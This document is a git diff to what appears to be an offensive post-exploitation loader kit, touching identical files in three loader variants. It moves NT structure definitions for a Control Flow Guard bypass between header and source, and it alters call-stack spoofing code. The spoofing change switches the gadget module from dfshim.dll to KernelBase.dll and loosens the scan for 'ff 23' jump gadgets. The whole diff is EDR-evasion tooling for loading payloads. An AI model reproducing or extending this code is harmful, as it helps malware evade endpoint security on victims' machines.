diff --git a/loader/src/cfg.c b/loader/src/cfg.c index 95036f0..0deba3f 100644 --- a/loader/src/cfg.c +++ b/loader/src/cfg.c @@ -1,6 +1,42 @@ #include #include "cfg.h" +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); diff --git a/loader/src/cfg.h b/loader/src/cfg.h index 155829a..2a538cb 100644 --- a/loader/src/cfg.h +++ b/loader/src/cfg.h @@ -1,38 +1,2 @@ -#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) -#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) - -typedef struct { - ULONG ExtendedProcessInfo; - ULONG ExtendedProcessInfoBuffer; -} EXTENDED_PROCESS_INFORMATION; - -typedef enum { - ProcessUserModeIOPL = 16, - ProcessCookie = 36 -} PROCESSINFOCLASS; - -typedef struct { - DWORD dwNumberOfOffsets; - PULONG plOutput; - PCFG_CALL_TARGET_INFO ptOffsets; - PVOID pMustBeZero; - PVOID pMoarZero; -} VM_INFORMATION; - -typedef enum { - VmPrefetchInformation, - VmPagePriorityInformation, - VmCfgCallTargetInformation -} VIRTUAL_MEMORY_INFORMATION_CLASS; - -typedef struct { - PVOID VirtualAddress; - SIZE_T NumberOfBytes; -} MEMORY_RANGE_ENTRY; - -typedef enum { - MemoryBasicInformation -} MEMORY_INFORMATION_CLASS; - BOOL cfg_enabled ( ); BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/loader/src/cleanup.c b/loader/src/cleanup.c index 75f3069..3494efd 100644 --- a/loader/src/cleanup.c +++ b/loader/src/cleanup.c @@ -1,7 +1,6 @@ #include #include "memory.h" #include "cfg.h" -#include "spoof.h" #include "tcg.h" DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); @@ -17,9 +16,6 @@ DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEA #define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); -#define NTDLL_HASH 0x3CFA685D -#define VIRTUALFREE_HASH 0x30633AC - void cleanup_memory ( MEMORY_LAYOUT * memory ) { /* is cfg enabled? */ diff --git a/loader/src/spoof.c b/loader/src/spoof.c index ac69582..011ae27 100644 --- a/loader/src/spoof.c +++ b/loader/src/spoof.c @@ -108,15 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); frame->Frame2.Offset = 0x2c; - // frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); - - PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" ); - - if ( dfshim != NULL ) { - frame->Gadget = dfshim; - } else { - frame->Gadget = LoadLibraryA ( "dfshim.dll" ); - } + frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); } BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) @@ -282,16 +274,12 @@ PVOID find_gadget( PVOID module ) /* x64 opcodes are ff 23 */ if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) { - /* check for a call before the gadget */ - if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 ) - { - gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); - counter++; + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; - if ( counter == 15 ) { - break; - } - } + if ( counter == 15 ) { + break; + } } } diff --git a/local-loader/src/cfg.c b/local-loader/src/cfg.c index 95036f0..0deba3f 100644 --- a/local-loader/src/cfg.c +++ b/local-loader/src/cfg.c @@ -1,6 +1,42 @@ #include #include "cfg.h" +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); diff --git a/local-loader/src/cfg.h b/local-loader/src/cfg.h index 155829a..2a538cb 100644 --- a/local-loader/src/cfg.h +++ b/local-loader/src/cfg.h @@ -1,38 +1,2 @@ -#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) -#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) - -typedef struct { - ULONG ExtendedProcessInfo; - ULONG ExtendedProcessInfoBuffer; -} EXTENDED_PROCESS_INFORMATION; - -typedef enum { - ProcessUserModeIOPL = 16, - ProcessCookie = 36 -} PROCESSINFOCLASS; - -typedef struct { - DWORD dwNumberOfOffsets; - PULONG plOutput; - PCFG_CALL_TARGET_INFO ptOffsets; - PVOID pMustBeZero; - PVOID pMoarZero; -} VM_INFORMATION; - -typedef enum { - VmPrefetchInformation, - VmPagePriorityInformation, - VmCfgCallTargetInformation -} VIRTUAL_MEMORY_INFORMATION_CLASS; - -typedef struct { - PVOID VirtualAddress; - SIZE_T NumberOfBytes; -} MEMORY_RANGE_ENTRY; - -typedef enum { - MemoryBasicInformation -} MEMORY_INFORMATION_CLASS; - BOOL cfg_enabled ( ); BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/local-loader/src/spoof.c b/local-loader/src/spoof.c index ac69582..011ae27 100644 --- a/local-loader/src/spoof.c +++ b/local-loader/src/spoof.c @@ -108,15 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); frame->Frame2.Offset = 0x2c; - // frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); - - PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" ); - - if ( dfshim != NULL ) { - frame->Gadget = dfshim; - } else { - frame->Gadget = LoadLibraryA ( "dfshim.dll" ); - } + frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); } BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) @@ -282,16 +274,12 @@ PVOID find_gadget( PVOID module ) /* x64 opcodes are ff 23 */ if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) { - /* check for a call before the gadget */ - if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 ) - { - gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); - counter++; + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; - if ( counter == 15 ) { - break; - } - } + if ( counter == 15 ) { + break; + } } } diff --git a/postex-loader/src/cfg.c b/postex-loader/src/cfg.c index 95036f0..0deba3f 100644 --- a/postex-loader/src/cfg.c +++ b/postex-loader/src/cfg.c @@ -1,6 +1,42 @@ #include #include "cfg.h" +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); diff --git a/postex-loader/src/cfg.h b/postex-loader/src/cfg.h index 155829a..2a538cb 100644 --- a/postex-loader/src/cfg.h +++ b/postex-loader/src/cfg.h @@ -1,38 +1,2 @@ -#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) -#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) - -typedef struct { - ULONG ExtendedProcessInfo; - ULONG ExtendedProcessInfoBuffer; -} EXTENDED_PROCESS_INFORMATION; - -typedef enum { - ProcessUserModeIOPL = 16, - ProcessCookie = 36 -} PROCESSINFOCLASS; - -typedef struct { - DWORD dwNumberOfOffsets; - PULONG plOutput; - PCFG_CALL_TARGET_INFO ptOffsets; - PVOID pMustBeZero; - PVOID pMoarZero; -} VM_INFORMATION; - -typedef enum { - VmPrefetchInformation, - VmPagePriorityInformation, - VmCfgCallTargetInformation -} VIRTUAL_MEMORY_INFORMATION_CLASS; - -typedef struct { - PVOID VirtualAddress; - SIZE_T NumberOfBytes; -} MEMORY_RANGE_ENTRY; - -typedef enum { - MemoryBasicInformation -} MEMORY_INFORMATION_CLASS; - BOOL cfg_enabled ( ); BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/postex-loader/src/spoof.c b/postex-loader/src/spoof.c index ff9f9c2..633a0e5 100644 --- a/postex-loader/src/spoof.c +++ b/postex-loader/src/spoof.c @@ -108,15 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); frame->Frame2.Offset = 0x2c; - // frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); - - PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" ); - - if ( dfshim != NULL ) { - frame->Gadget = dfshim; - } else { - frame->Gadget = LoadLibraryA ( "dfshim.dll" ); - } + frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); } BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) @@ -282,16 +274,12 @@ PVOID find_gadget( PVOID module ) /* x64 opcodes are ff 23 */ if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) { - /* check for a call before the gadget */ - if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 ) - { - gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); - counter++; + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; - if ( counter == 15 ) { - break; - } - } + if ( counter == 15 ) { + break; + } } }